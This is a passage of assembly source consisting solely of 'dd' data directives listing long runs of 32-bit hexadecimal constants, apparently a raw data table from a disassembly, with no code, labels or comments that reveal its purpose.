		dd 1065B403h, 4C77A0Eh,	31DAB9B0h, 7558A8A5h, 6A909CA0h
		dd 987350Ch, 911248F4h,	688F0628h, 3D1D38BEh, 86C04C16h
		dd 55ADEE5Fh, 6290049h,	0B65A371h, 0F035E31h, 9D878969h
		dd 984026FDh, 8B143CE4h, 8E00D812h, 249CF767h, 6C77BA66h
		dd 0FC20CF00h, 0CC5E0E64h, 8FA92CBDh, 350803E4h, 0B8F2772h
		dd 809D2484h, 61BAFD74h, 80332C3Eh, 7F782D18h, 0E18D8791h
		dd 6ACA7081h, 7962AE69h, 328000ACh, 548F7406h, 0B0C8C0CCh
		dd 0F726A194h, 96365E01h, 3074878Bh, 0C769A080h, 8F66BA7Fh
		dd 30982437h, 64940079h, 7DEA8B0h, 6C91B9E9h, 803C848Fh
		dd 0D89F8930h, 900328B8h, 87AD382Fh, 2450BE1Bh,	2EA86D0Eh
		dd 0E2408010h, 0CA49CF54h, 0F5C46351h, 2CC02055h, 59C04E41h
		dd 86F71287h, 0F4DC409Dh, 993B62EAh, 0B94CD2F8h, 331A82DCh
		dd 0FD6CE8ACh, 528001A8h, 8717CE2Ch, 0BF2983F1h, 0ACAB1A79h
		dd 2F614A00h, 96308714h, 0D96620E4h, 3280CB44h,	602CC4D4h
		dd 8FE294C0h, 0A410480Fh, 1F132FC1h, 927028D0h,	0C901465h
		dd 17B122C7h, 0F35F70h,	0D98C5804h, 8F7B1C23h, 9D13100h
		dd 3568B1B2h, 0EC8A00D0h, 0F8DF6362h, 6BF8EDB5h, 7CE2A800h
		dd 338BCF09h, 0B00477EBh, 69136064h, 0EFA58FF6h, 88B178C0h
		dd 178EDC7Fh, 108036FEh, 580800h, 0E5F30F00h, 90FC8BBFh
		dd 802574C9h, 0F71F8C4Ch, 0ED960428h, 0D5B3F82Eh, 90C88624h
		dd 8B9FD500h, 0EB93B223h, 0D0560013h, 5F8E9196h, 89E4ADF1h
		dd 0C9D1100h, 3CB8CBF4h
		dd 0D77913D3h, 0D41C0423h, 0BA020557h, 0B98FF403h, 0A427C5E6h
		dd 0E4ECED85h, 96752602h, 0FC858CA0h, 0C8AC00DEh, 475160E1h
		dd 0A30064B0h, 0CF364F4Dh, 2F201EBh, 19F6168Ch,	885034BBh
		dd 88BB6B7Dh, 7D60F026h, 0BA36A01Ah, 0D0CF0EBCh, 9043B606h
		dd 8049E33Fh, 6ABB51D0h, 80B3DC0Bh, 5EE6B510h, 0E5F52CF7h
		dd 838FC10Ch, 98082029h, 4002565Eh, 401F2C87h, 6A2F5E78h
		dd 40106812h, 0F6A21A29h, 10B36235h, 0DB0CA090h, 75F70B54h
		dd 0A0295BFCh, 0AC7588Ah, 3A6063B2h, 27808CD9h,	0CEE88FE4h
		dd 0FA33A4A6h, 0C3FD08BBh, 5F6DFA85h, 65B19C22h, 2665248Ah
		dd 0DB7514ECh, 7C097169h, 76EBC04h, 9884352Dh, 0AAECC1BBh
		dd 8CD0A413h, 0C9D11F8Bh, 0E283F950h, 2D8BAA32h, 40E4C1ACh
		dd 0CEF800B5h, 0F038098Fh, 44098896h, 0C28C009Bh, 945CDEB0h
		dd 4A15C700h, 19D502Fh,	0FAC8F103h, 2089BC4Ch, 510079F8h
		dd 0E1954314h, 0A00B7A8Fh, 13218AB8h, 14B7AAD2h, 0C8412C48h
		dd 0AAB46EF4h, 1AD02288h, 86F10130h, 0FE99E01Eh, 386420D7h
		dd 748314D4h, 19410C26h, 0FA200618h, 4081F615h,	0D6A806D8h
		dd 20C09290h, 680216C7h, 8F83B9FBh, 63B8996Bh, 0C282D20Ch
		dd 851001F4h, 1816105Bh, 0FF0AA400h, 8F8931EDh,	8D08A091h
		dd 1B0C09F1h, 0D708A255h, 50F606CCh, 0A70B4878h, 135FF90Ah
		dd 0A2BF8160h, 9710A433h, 7BAA0095h, 18A6F2CAh,	24143287h
		dd 0E48812B8h, 11C650F8h, 873FCCE8h, 0F4EC4B07h, 0E12D849h
		dd 96CC0683h, 77E6402Eh, 0F75F8B0Fh, 5DF4A0B0h,	0C0EA168Fh
		dd 6B8D31E0h, 0A248F829h, 6C019338h, 0F7351D66h, 0B84D9828h
		dd 0B100E891h, 41BF7C85h, 0FD0F60D8h, 602CC8EFh, 0C2F6E552h
		dd 0FF9CB5Bh, 39488C00h, 88B886F3h, 8549820Bh, 208C0F7Bh
		dd 1885D83h, 0B46552B2h, 8946429h, 209C005h, 5CCA0A97h
		dd 0C9108h, 36C5185Dh, 751D8F16h, 0D69DF6B1h, 0A8228D01h
		dd 9DF0026Fh, 64FD00BFh, 0F1598405h, 0A70BE810h, 24C74FF6h
		dd 98A8315Ch, 3878A07h,	41A8958h, 27504C48h, 0D0E49C7Eh
		dd 28232613h, 0F135D001h, 8DCC62C4h, 2620F812h,	89880E71h
		dd 382937D8h, 808FAC2Fh, 0E4981092h, 0F60C0853h, 31108FB8h
		dd 63C2451Dh, 22CFC9h, 1387DC84h, 0C348C00Ah, 746C2EBAh
		dd 0EE4F63Ch, 0C1978C3Dh, 0F1438F5Eh, 608BE442h, 4CD01E8h
		dd 789009A3h, 0AA94D2E2h, 0CB63B841h, 0FA10189Ch, 0E0D04E19h
		dd 0A4B9FDD4h, 0D1393F0Fh, 4A947093h, 0F894EFCAh, 61C90547h
		dd 42A8060h, 89F52A24h,	0B82824h, 6131BAB9h, 176FA6E9h
		dd 445A1A0Fh, 0C6DF2500h, 0E360824h, 0B3A0593Dh, 980325F4h
		dd 9100DECAh, 0B35B8CF4h, 0CD91F44h, 17ADAFDFh,	8D02A718h
		dd 0EC9F5516h, 28F88A01h, 0BC850E40h, 0C1B899BAh, 2C34F519h
		dd 0B8E38118h, 0C071918Dh, 5063F6F5h, 0A4465001h, 648A87FBh
		dd 90AE6978h, 7EF01262h, 0D3A09113h, 80D0522Bh,	0F4A98F8Ch
		dd 60423C9Ah, 0D05FF60Bh, 0D8225812h, 88A6F74Ch, 0D32A38CAh
		dd 0C263E001h, 2CD1FD10h, 2C246120h, 440C2488h,	9BFB21CFh
		dd 0B2056800h, 1AD68D00h, 8F65A404h, 40E760AAh,	9C0F8BB0h
		dd 0D31E060Fh, 0E68903F4h, 35C7A826h, 62B17891h, 74761037h
		dd 6A8EC8A2h, 3F8B085Ch, 53200554h, 44356CD0h, 0F4AC174Ch
		dd 68B8EEh, 6E6178B3h, 92274387h, 73C40E30h, 65EC5644h
		dd 0C8A69250h, 0C88074B0h, 81E0E09Fh, 0F9506CB0h, 270E7394h
		dd 432D0CF3h, 0C374905Ah, 5C114C1Bh, 96FEAB01h,	0F16773FCh
		dd 233083A1h, 0D50C65A2h, 0E4DC00BAh, 268BF6E7h, 12259C96h
		dd 44A08988h, 0C2D52020h, 405FB102h, 0E0F41FABh, 3B0BA3B0h
		dd 0B04A6B49h, 72E9FF90h, 8F691F64h, 6354AC2Ah,	4F4FACDCh
		dd 0C8D9484Ah, 72B1CD81h, 55F451A0h, 0E0F4AAB9h, 2AA19D8h
		dd 95521F9Ch, 0E458E5F7h, 31970C94h, 0A120E309h, 7257F618h
		dd 1FC0C439h, 2955F5D4h, 6A74413h, 5EAF3C00h, 978F32D8h
		dd 0B12674FAh, 4F04E591h, 50C0974Ah, 94ABF05Fh,	460B128h
		dd 792C70C3h, 5FE0B660h, 81FBA88Fh, 20CC3C84h, 0F62727B3h
		dd 61D32C11h, 9902FAF8h, 25C0D017h, 0F0606587h,	0F8FA2E66h
		dd 0CAAF625h, 0B9D19238h, 0EB0C8090h, 0BE8F3BE5h, 7898A14Bh
		dd 3A722587h, 208BCC80h, 0D93B16E1h, 58FE00B1h,	903F7ABDh
		dd 50C1301Ah, 0F275F530h, 590A7E12h, 0E2958400h, 1E793B5h
		dd 1F90A396h, 0F43286FBh, 0FE06274Ah, 5D7C2C9Bh, 2E6F0318h
		dd 1AA7F219h, 0D0980EB9h, 89C58EEBh, 0E8009A4Bh, 6C37905h
		dd 0E8D84948h, 0E470E10h, 0F7B6D3h, 136659FDh, 918A012Ch
		dd 6E19FF65h, 274991AFh, 909F0F07h, 7402EBD1h, 400F56A7h
		dd 5C1A03FBh, 0FAB0A8C1h, 0FD94A8AAh, 3AFF3019h, 7E3E4A18h
		dd 1454830Fh, 0DE706526h, 10273B87h, 0F79D1F80h, 40A15ECCh
		dd 0E96CC3E4h, 0C500EE36h, 72663DE4h, 0E68294D3h, 291A1608h
		dd 8400CD4Bh, 9B381979h, 0C8C2E0D4h, 3028528Ch,	0F7B1B0C7h
		dd 0A0CFB803h, 0B8801602h, 80956519h, 30C4429Dh, 0F50099C6h
		dd 3C8D77CCh, 18ED203Eh, 0F0188875h, 669900C7h,	5A7F780h
		dd 940C0EF8h, 201E2D1Ah, 0AAF9005Fh, 44D11F73h,	3658635Ch
		dd 1DDE1904h, 53C9871Eh, 14681421h, 833E5C59h, 0DC821B2Dh
		dd 3C64678Eh, 93568025h, 9089E240h, 8055C9C4h, 0AF74FC1Eh
		dd 8F689316h, 0F5B3B14h, 8311D234h, 0A03A6E58h,	0CF895619h
		dd 0A9C0A330h, 8F64C57Fh, 30C51D90h, 68C9D263h,	0F2869C00h
		dd 0EDFB2C6Bh, 1EF868ACh, 30211699h, 8D4D194Ch,	0D500F092h
		dd 573F462Fh, 997BA01h,	0F7FBA76Dh, 832D5C46h, 0F938619Dh
		dd 0FA28806Ch, 0CBF4BC84h, 30FA380Fh, 0EA08C0C0h, 0F6EB5205h
		dd 54D0B863h, 59F8871Eh, 882D84FCh, 8C8F5C02h, 0B001847Eh
		dd 29D0D5Fh, 7608447Ch,	0D180EECEh, 8E695982h, 0F70D0591h
		dd 0A4614BF6h, 646F2B18h, 0A1B8A0D1h, 98EF71FBh, 65513CB8h
		dd 253B4880h, 0A7763E8Ah, 0CAF3F815h, 0FB180308h, 2868A9F6h
		dd 907C5E50h, 32F71791h, 81AC5686h, 7942728h, 0F7589009h
		dd 707A8AA0h, 0A8960201h, 0A5FFF019h, 0BA092F2h, 0B6406CD4h
		dd 10585228h, 688F660Ah, 0DC3A8C18h, 309F01FCh,	8E72F6CFh
		dd 0FBC54838h, 876CE284h, 0AFF0605Fh, 0B3DC6Ah,	0FB270F88h
		dd 818312ABh, 36D01F00h, 9D3A8A3Dh, 0F6F1130Bh,	0E80C0ACh
		dd 1980BA2Ah, 503B6044h, 0F78FFEC6h, 841C125Dh,	413F585h
		dd 80C05500h, 9F7CF792h, 4940A1C6h, 2020B0F0h, 42C97DBh
		dd 0C908C47Eh, 0D26907F2h, 0B03D8594h, 0A1347568h, 1EE407Dh
		dd 0B145BEDCh, 0A2C7087h, 795F043Ah, 0FF4873F8h, 8FF70518h
		dd 0ECA2A2AFh, 0AE2B6512h, 0BC1A5903h, 5DC00F3Fh, 0AAA0EB78h
		dd 0E9BB6D8Eh, 0F1C23800h, 0F8271685h, 570C009Eh, 6079F76h
		dd 7A4D7F99h, 5F22A8h, 1259EE3Bh, 0A5116766h, 69AA4207h
		dd 802B3AA7h, 356B90EEh, 8CC4A025h, 0CFDC2087h,	8D01F498h
		dd 1A1569C2h, 5C6D7DF3h, 4CE66784h, 4A4910E2h, 0A4F88419h
		dd 5FB25FCh, 63BB8A3h, 964401CEh, 385C54DAh, 618F802Ch
		dd 0A0C287AAh, 2D1A99Ch, 970EAE4Bh, 8895FB2h, 6145808h
		dd 997EA619h, 70703090h, 0E58268CFh, 0D455C690h, 56F60C4Ch
		dd 0BAF90CDh, 26CF87FDh, 619E8C4h, 0C2D1B701h, 1C159E0h
		dd 0C717BEC5h, 853189A0h, 2A290932h, 2E0EF888h,	655CCC30h
		dd 4D84C12Fh, 4588214h
		dd 5CD31A7Fh, 4210265Ch, 0F3009BAFh, 2CEE0E5Dh,	860E501h
		dd 0EF00B4D1h, 3F1A04BEh, 0F010D46Dh, 4C937210h, 0C0B91098h
		dd 0FD32716h, 0A301A28h, 8867E695h, 18085517h, 3E7028E0h
		dd 480A4ABAh, 8F07F0Fh,	0F602B658h, 609D2106h, 0BCA0870h
		dd 8119F9DAh, 54406CC2h, 0A7804617h, 4FBCB88Ch,	5764F001h
		dd 5CC9A516h, 1D01FCFCh, 0F6A4B0C3h, 3013F3EDh,	1C2287FEh
		dd 94BC64FDh, 0B6AB44A8h, 0B2020E08h, 154E8Dh, 878F5EF1h
		dd 9820C2C4h, 805649A4h, 29444C62h, 40B33C06h, 0BABBAA1Dh
		dd 7A98F602h, 0B110A47Bh, 35FE7958h, 7E501097h,	0CE18C3DFh
		dd 0C1C1368Eh, 981092E0h, 0BD5D0844h, 9F2708Ch,	5983FB6Ch
		dd 1AEEC4E4h, 8C52062Ch, 8EF42947h, 134BD704h, 4287B49Ch
		dd 0BC0E2E5Dh, 0F426BC29h, 36A56C04h, 6F036CC1h, 957060E6h
		dd 1F10C0E0h, 0F9E7DAF8h, 77D74338h, 546C7516h,	0B45D6045h
		dd 599CA4h, 9723A435h, 7B8790A0h, 8D70CA61h, 2E9D91h, 7A4F8290h
		dd 95581C26h, 3924484Ch, 0F9198DD8h, 0D3D2A085h, 0C3129000h
		dd 8202DB65h, 9082859h,	64F8FA19h, 0CA21D112h, 0F38FCCC0h
		dd 3830BAC1h, 0C840BE87h, 8A0051D3h, 473A20E9h,	988C986Dh
		dd 4FBE2C40h, 2FE048F4h, 0E440B494h, 308481DAh,	28C1E7C4h
		dd 58833C55h, 2C27A9F8h, 12057F6h, 0A8AE3AA3h, 9340C01Fh
		dd 0CF841A00h, 9996F806h, 58D25EBCh, 0E9CCE0F4h, 7EA9213Dh
		dd 0E6080982h, 61F676C4h, 9C79841h, 5BB060F9h, 794994B6h
		dd 84FC4328h, 0F2708495h, 0FE8C00BCh, 0EE8AB1Dh, 64B2287Ch
		dd 8F670B08h, 34C8B788h, 14009D8Eh, 0A8586004h,	248FE4C6h
		dd 20341333h, 0EEF82080h, 514C3A01h, 0F6D74229h, 0BE2CFDF0h
		dd 1A6C0368h, 0C03F7393h, 6B407FEEh, 809053h, 0A3377D23h
		dd 9F5DB674h, 49611201h, 8CF14F8h, 8035021h, 8FD4FBD3h
		dd 136E5940h, 65671215h, 7CC8D13Bh, 90242F5Fh, 202EC8B1h
		dd 368696C0h, 678CC491h, 0BE68A04Ah, 60896F60h,	0D70BA4A7h
		dd 261380F1h, 36009A1Ah, 0D21E8A72h, 0B883593Ah, 0E4083238h
		dd 5C568C38h, 49C6EA0Dh, 97CD9C40h, 5677EBFh, 0A768CF1Bh
		dd 28988146h, 840845F3h, 0F914022Ch, 20809EEBh,	0E48E3FD1h
		dd 0C4A72924h, 0A508D03Fh, 0E0906478h, 4E64A00h, 0CE8788E9h
		dd 3DC4A0FBh, 771A1269h, 8F08D128h, 96A9919Ch, 0ADA91908h
		dd 0AC14DE3Fh, 246A21BCh, 80256558h, 0D5AD8C20h, 7FB9F702h
		dd 5C467B76h, 6CB40A0h,	6F13EB40h, 9CC1D48Fh, 7AD0F9E4h
		dd 582CB08Bh, 0C20E459h, 0FA301FECh, 2F7170AFh,	0BF1100A9h
		dd 21245C86h, 2E04C535h, 322C1A99h, 190CECF2h, 0F81015B6h
		dd 58740E24h, 0D1BED701h, 5ADE98E4h, 2FB37C30h,	0B824FC12h
		dd 2D70E8BBh, 5844D013h, 0C1204487h, 18008D7Ch,	34FFDBC6h
		dd 4D69F78Ch, 1908D896h, 1F077BC7h, 2110ACF4h, 73CC0E11h
		dd 8F0CB413h, 0EC432263h, 7EB0B1C0h, 0D80CB00Dh, 48DA8EF6h
		dd 940295D7h, 9D00722Ah, 15FD2506h, 0C8A78E8Fh,	243E487Ah
		dd 0BA008A20h, 0B1E7665Fh, 1FBB1B7Fh, 14F6FA7Dh, 64104C88h
		dd 0FF9F03BAh, 40ADBF8Fh, 27197838h, 1C186AABh,	0C02675EFh
		dd 0CD88D87Ah, 83BC1294h, 7909CC48h, 582E878Bh,	77353CB8h
		dd 0E18CA2Eh, 0FF80A2F8h, 92917658h, 0E78864FDh, 0CDF70F0Ch
		dd 0B0FA583Ch, 0ACE6549Dh, 0B756EE60h, 6661DC00h, 2058B2F7h
		dd 2BD012F8h, 84E36C00h, 0F68657h, 335231E8h, 0E2DE8775h
		dd 0D280C494h, 19AB3F10h, 9D64BAFCh, 0B587B021h, 95A88248h
		dd 0E8651AA0h, 39F72144h, 1A5FB7AAh, 14CAE074h,	68D82655h
		dd 94E49170h, 3510A8D0h, 0DC0B4FB7h, 0CE463h, 2680F760h
		dd 3DA38FE2h, 0D072FCA2h, 809020C9h, 0FB67A22Ch, 0CEB5E619h
		dd 630FDE59h, 945900F3h, 0ABF007A8h, 0D3CE013h,	0CCE803FBh
		dd 0E3A09565h, 197A6DDFh, 5D06887Ch, 5FD8ABE8h,	0BDDB0C08h
		dd 64302E58h, 39C97500h, 0D5DFA3E2h, 0A77107B0h, 6087E45Ah
		dd 2D12CCE8h, 0E00E3F8h, 0EE3FF8A0h, 607E90Dh, 0EABE1C3Ah
		dd 6C0348F4h, 0E03CA89Ch, 0AC113C8Fh, 8CD05700h, 4508010Dh
		dd 87988861h, 0E0E34105h, 1BF4198Fh, 104085B4h,	400C8AE7h
		dd 0AC18D3E1h, 0A857DE1Fh, 50F6D06h, 4218CFD1h,	0A57D5280h
		dd 0E63DDAFDh, 92B0C7Bh, 836973h, 104F6524h, 6DCB8AD2h
		dd 40915933h, 0A8986755h, 0F821FFE3h, 872E70CCh, 0AE4608E8h
		dd 5D1CF83Ah, 0B4F271CFh, 0BCAD0688h, 2031BB41h, 0ED140DE6h
		dd 1BC5D90Fh, 62821C6h,	3C6DDCF1h, 8E007025h, 0DB57FCACh
		dd 0C4FFA5CCh, 6B88678h, 510D9D1h, 65B60DD8h, 96943149h
		dd 0A828D3E8h, 0BD0FF86Ah, 383810Fh, 1098134Ah,	0CA2C340h
		dd 38D94808h, 0F4635084h, 0FA0A9E0h, 0A009D842h, 0DC362710h
		dd 0A65529DEh, 6E0A0284h, 0E4826AD9h, 0E0AC6D30h, 0C7988848h
		dd 0D54C4B50h, 51FD8D24h, 5100481Fh, 0E0324224h, 0CFFF286Dh
		dd 6CD34CBCh, 1501047Dh, 88604A10h, 0F5401D3Ch,	33F0143Dh
		dd 6D1E981Eh, 3A98F3CAh, 0F3E8E8B6h, 0BE4C3D06h, 3E30EBD9h
		dd 2D05BCE2h, 115B3CDh,	0F8E088BCh, 94E461E7h, 3E9F4308h
		dd 0C56D8C4Eh, 303B88DAh, 6406DB34h, 0CB0C5B57h, 8637EC3h
		dd 0C7730008h, 0D0842D98h, 0B0A0A46Fh, 70C6A105h, 2010B46Eh
		dd 3401BE50h, 0CD94AF39h, 0E3C8D78Bh, 307D3CB0h, 24268D12h
		dd 57B0221Ch, 0E8B7AC80h, 0D4A1B907h, 0BDAC4116h, 64618029h
		dd 0D8D7A96Dh, 8ED638E5h, 0E77BA080h, 0BD8C6AA4h, 0F993C733h
		dd 4A71E8FFh, 0A7EA01E1h, 0BE20ABF8h, 441EAD0h,	0CCDF82Eh
		dd 0D9DFA4A0h, 0E28F3512h, 6C113416h, 64FC40ECh, 0E04F52h
		dd 0EE6C407h, 0A26EF8C0h, 9CBC04F4h, 62243407h,	0A084CD92h
		dd 7208060h, 87CE899h, 3F3C9284h, 0BB14E0B5h, 5D312490h
		dd 0C9BDD418h, 0E4C0802Bh, 943CDD52h, 800C9ACBh, 1C58D3B4h
		dd 25F88ACh, 3D25ECABh,	0F010EC49h, 0EB61EA6Dh,	95CD2468h
		dd 40B828D7h, 606D7A60h, 0CD25303Ch, 18CFA69Fh,	49A08CCFh
		dd 540AF827h, 907280C6h, 0BC456Ch, 9C95DECh, 49D84953h
		dd 7E10054h, 467A41DDh,	55BB0029h, 0AB8A69A9h, 7B39CD1Ch
		dd 94CB99AAh, 0AEE0ED58h, 65491C4Ah, 0EAC9C7D9h, 43DE8715h
		dd 802CC92h, 0E2EED505h, 0FBEC403Ah, 0FDCD1221h, 0DF180F27h
		dd 0DE9CC0E0h, 3514509Eh, 72708441h, 22F5240h, 0FC8B7D64h
		dd 0AA40E1CBh, 12773B37h, 6748BF00h, 354B63DAh,	0E4AF0055h
		dd 8829C804h, 3DF4305Ch, 4C143AE0h, 83F0FE84h, 5C76FBDh
		dd 88746668h, 0EAC01D5Dh, 5C6D1B80h, 44B07861h,	0FD090E9Eh
		dd 0A0A318CCh, 0D2E4F94h, 436D1962h, 42052886h,	441B7F8h
		dd 9CCC00B9h, 0E230C19Fh, 340FDE6Dh, 0F484A9B8h, 0BCD75443h
		dd 0E7E01CD5h, 0B04032B7h, 4809A502h, 2186FA8h,	0BDE14DEAh
		dd 20480451h, 1B246D6Bh, 950650DFh, 9F88CC7h, 305DB802h
		dd 55BD3821h, 6D902073h, 70DE5E28h, 0A874D920h,	32BDDA3Ch
		dd 3C58EC7Bh, 0E9B5C060h, 70A98B61h, 501BFFEh, 0C432C1h
		dd 93A8C46Ch, 0DCC3A3h,	55FDB0Ch, 54FFBC9Ch, 800D1E00h
		dd 463A26E3h, 5027004Ch, 0AA55D2E4h, 0C2019002h, 0BE7611A5h
		dd 5085F754h, 9DDE5F14h, 0A0840048h, 0D900ED15h, 8B690948h
		dd 4028717h, 0FAD8CD22h, 5B38DCD4h, 0E0140C98h,	18906D27h
		dd 0CBE8472Ah, 3FDB02B6h, 0EFDD3515h, 0D1711C41h, 0D7183028h
		dd 9E962600h
		dd 863EAC0Ch, 0FCBE2E4Bh, 0E6E9224h, 4C545598h,	0F4ABEF0Dh
		dd 71006470h, 11D6F630h, 4DB941C3h, 5201879h, 71E49888h
		dd 0B405E179h, 2B1DECE2h, 1DBE08Ch, 34B6933Ch, 4CC46F2Eh
		dd 5B007E38h, 0D687D358h, 0C2B382BDh, 0C7D74B18h, 983894AAh
		dd 6E081196h, 75EFAF01h, 2756BE02h, 0BD0D3833h,	0DC109F5Fh
		dd 29178768h, 944ABECDh, 3F06B80Eh, 2050A85Bh, 0E0176BC7h
		dd 480228B5h, 0C9F4D16Dh, 3C016F50h, 0CCE434CDh, 81C08EF8h
		dd 0C8248A47h, 0BE062C14h, 708D0D44h, 0B59CECF0h, 0F0E4401Eh
		dd 0AAF57E49h, 10172CC4h, 93C8AC14h, 0DF3C9407h, 9F0F2Eh
		dd 0B805E0A7h, 46F513A8h, 0CC780814h, 0E7B44203h, 0AA6DE071h
		dd 0DCC8925Eh, 6097C078h, 0E5C314C5h, 24DE5C05h, 0AC408A4Ch
		dd 0A58FD7DFh, 48550B9Bh, 0FC8064E5h, 967109A8h, 1358F739h
		dd 9409172Ch, 0D0C88A05h, 0DA6B98BFh, 75FCDCB8h, 5CEC14DBh
		dd 24498CEDh, 63E13702h, 48601F53h, 980982BCh, 70F12CDh
		dd 893033E8h, 597E16h, 0D6919728h, 6A483B8Ah, 4EE1DC01h
		dd 8CC9B04h, 56496E0h, 67BE3E7Eh, 8C9891A7h, 54F46AA8h
		dd 71390932h, 64022DA4h, 0D4804983h, 7D96BDDCh,	4316FC90h
		dd 4C208817h, 1DEECDCAh, 0B08A93h, 70FA56ECh, 50C0D049h
		dd 0F32A593Fh, 608E00FDh, 0E55B1841h, 5500DF61h, 0CD977ECEh
		dd 285E8913h, 8A656h, 0B3CB609h, 3F2E9E85h, 70B88736h
		dd 28A298A8h, 2E588968h, 4CE4E7D9h, 67553020h, 0D8440F8h
		dd 711835BBh, 0FD01A76h, 83D8BBE1h, 0DCE2D55Ch,	348AAFA2h
		dd 2B8C2E44h, 0E46B00B8h, 713ED60Bh, 40FD1432h,	12FC50EAh
		dd 377BA6Dh, 7FBE5B14h,	0A62F33DFh, 0CB49922h, 86E3884Ch
		dd 0CD1270A8h, 1C0B693Fh, 0CC1881BBh, 9025DAB6h, 9C318C27h
		dd 627465F8h, 0F90D16D4h, 1664A850h, 0FC004FD5h, 0D6713C31h
		dd 0EC18C3E0h, 98095F2Ah, 0A5170EBDh, 7000C440h, 19B4CC15h
		dd 942950CDh, 734111h, 0C65DD66Ch, 0C388094Ch, 9CA5CD2Ah
		dd 18103C83h, 1029A0B9h, 0EBF0D8B0h, 476DE10Bh,	23082B48h
		dd 0C439DF3Ch, 62BDF48Ch, 0FCE291BEh, 713D4040h, 0E1EADA32h
		dd 0DCC2B5h, 9448978h, 0D58E2E96h, 0F9F4008Fh, 25DD91F1h
		dd 806C9D4Ch, 342E4C88h, 0C73C3071h, 8098338h, 8F6DE51Ch
		dd 0C0F580B1h, 5C40E421h, 3E7EFB8h, 0BE834D66h,	482AD396h
		dd 0FA903C34h, 2B385161h, 8CFDE738h, 77FAF0h, 8770A553h
		dd 3B9ABC09h, 41190D00h, 0B5577FACh, 0A62800BEh, 248DD5CCh
		dd 163E74CBh, 1D6D8D0Dh, 10285083h, 0D14770C3h,	0DA317000h
		dd 193BFA54h, 460490Dh,	261C01D3h, 0AB6F5ACDh, 502658A0h
		dd 0BB08BCA6h, 0A64B0514h, 337C8C95h, 5843DF00h, 5D94DA20h
		dd 6DE709DCh, 70A06445h, 0AD7BE5CCh, 84D2CD25h,	0DCC112C0h
		dd 8605B49h, 0E271197Fh, 0EBDE78B8h, 0BE639097h, 0C987B41h
		dd 0BDA06B61h, 808094F6h, 663DD990h, 0B47C814Bh, 18063C31h
		dd 8641349h, 0B96840BFh, 4016C8CCh, 71DB0530h, 9457D1ECh
		dd 0D4C0C268h, 81A79841h, 0BDDFE531h, 8464C540h, 0A8DD5651h
		dd 0E0820E25h, 3400AD60h, 26045407h, 18C29388h,	713BB07Fh
		dd 7818C324h, 20783F07h, 7CD192A5h, 58F6BDCFh, 98E36904h
		dd 28A4F842h, 6480C113h, 8828384Ch, 38924999h, 0BA0D7C80h
		dd 0A84E954Ch, 15858831h, 0BE61B000h, 149AD27Eh, 85FCCA0h
		dd 0D913AC00h, 275A0F07h, 10098DBh, 0E2DA3A2Eh,	74922BBDh
		dd 463471ACh, 4CC4C039h, 72644005h, 0A20B4C0Bh,	0C56228h
		dd 7F651BCBh, 552EF67Ch, 2401B0FDh, 0E54D1DC4h,	26110FF0h
		dd 1D900B08h, 56698938h, 70133044h, 0A452012Fh,	0A211400Bh
		dd 8D7114h, 65B70DD9h, 218C4A53h, 1C351EBFh, 70E743F8h
		dd 48092BA2h, 21CBF5E2h, 0D3C5CC64h, 0D090E038h, 0F5F9110h
		dd 166BAA7Bh, 0E6A2C300h, 54155C3Fh, 13E1C850h,	1CB5DDBh
		dd 0B6498588h, 0FF0C30FBh, 1B9AD100h, 652E51A9h, 0D5B8077Dh
		dd 0C005AFBFh, 0ED6AC34Eh, 1680CC14h, 3E439C8h,	0B78CAA57h
		dd 4C9C8C08h, 13E49865h, 9720BA6h, 7440E7B8h, 9C80042Ch
		dd 0BFED0061h, 3E5F420Eh, 0B50FB2CFh, 27DE3D9Eh, 0E3A02405h
		dd 0A0E6DAD5h, 1A150BCh, 5EE535F8h, 36FAF06Dh, 24CC58E4h
		dd 64004085h, 0C5551969h, 4D6D78AEh, 4850AC50h,	0E18A0351h
		dd 105BE56h, 0E902020Fh, 0E930CEAh, 4DC60F8h, 0F482ECD2h
		dd 0CB3BE6F0h, 3DF0036Dh, 0E1489322h, 0EAD8A1C8h, 6178E419h
		dd 6693A76h, 0E10B886Ah, 258A0E1Ch, 4A058227h, 0E901838h
		dd 8F60FBEAh, 82D42A10h, 1F46F8ECh, 8E5B43CDh, 0C1CEB18h
		dd 0F82E8858h, 0C60BD16Fh, 391D37h, 55EF82DFh, 8C614C10h
		dd 571F25F8h, 0C714E78Ah, 0C843138h, 5DFC3588h,	3208CD34h
		dd 0EA0D8606h, 302A8ECBh, 54242D88h, 5A199BBCh,	979A71A6h
		dd 17EA0D8Eh, 3C45538h,	75665470h, 63D75CDAh, 2267F08Ch
		dd 0EA9D0E06h, 98CAE2DFh, 0B06EFD9Dh, 0FC7002D7h, 82607CC7h
		dd 2A00559Ah, 16EA52C4h, 2510D94Ch, 7B37BE5Eh, 0B94CE560h
		dd 0FF93DE8h, 59C72A5Dh, 320AA9A6h, 0EF637E8Eh,	7E0D503Ah
		dd 0EC35510h, 98880C99h, 9E56FDEAh, 8AD0ED17h, 449C6900h
		dd 3BEA4796h, 6202B60h,	14FDFEADh, 988251F6h, 0DF0B8800h
		dd 5A34EA63h, 9D230092h, 0D2EA4143h, 0BC0A8003h, 15245476h
		dd 5CDB002Ah, 8510CA0Ch, 49C43455h, 56005EC0h, 0C682E68Ah
		dd 4EE5FA9h, 5669D959h,	3444DD44h, 5E006831h, 6DE2F782h
		dd 5712D014h, 38981099h, 0DCFFF17h, 9EB16F5Eh, 434C55F8h
		dd 0E3458552h, 62975188h, 46CC8C14h, 0E2423BDDh, 80914920h
		dd 6A5EE2EAh, 182F6367h, 3DFB6EE1h, 0B46B9E00h,	0DA32D27Dh
		dd 0CB021F5Ch, 0F2968A5Ah, 0F75D07EDh, 4D8283FAh, 0A13D6B23h
		dd 0D9020F06h, 1208EDCAh, 0BC81008Ah, 1B386B0Bh, 33C30601h
		dd 0D92A2E90h, 95078ACEh, 6802B21h, 31FA6892h, 3AB4A3EAh
		dd 0C4A9E44Fh, 16B0BEA8h, 1C2CF385h, 286B700h, 69535BD4h
		dd 391560FFh, 0FBB2250Dh, 0CF3120C4h, 70076496h, 281B6AEAh
		dd 3ADE0875h, 58C6709h,	68215812h, 45EE9055h, 9F6D8820h
		dd 0DBF85B07h, 9FF52A8Fh, 67F9220Ch, 39A9260h, 0EA0CE9C2h
		dd 323B1A13h, 244D1254h, 0B0FCB74Ah, 94407EBDh,	0EE820346h
		dd 1EB11768h, 809ADCE1h, 485FC018h, 7C022596h, 2B6F20FBh
		dd 52DDF707h, 0D6506CB6h, 408EEC1h, 0F681CEFFh,	2056C20Bh
		dd 8FB95100h, 23494C0Dh, 0B0E16C1Ah, 3C61582h, 58A06C82h
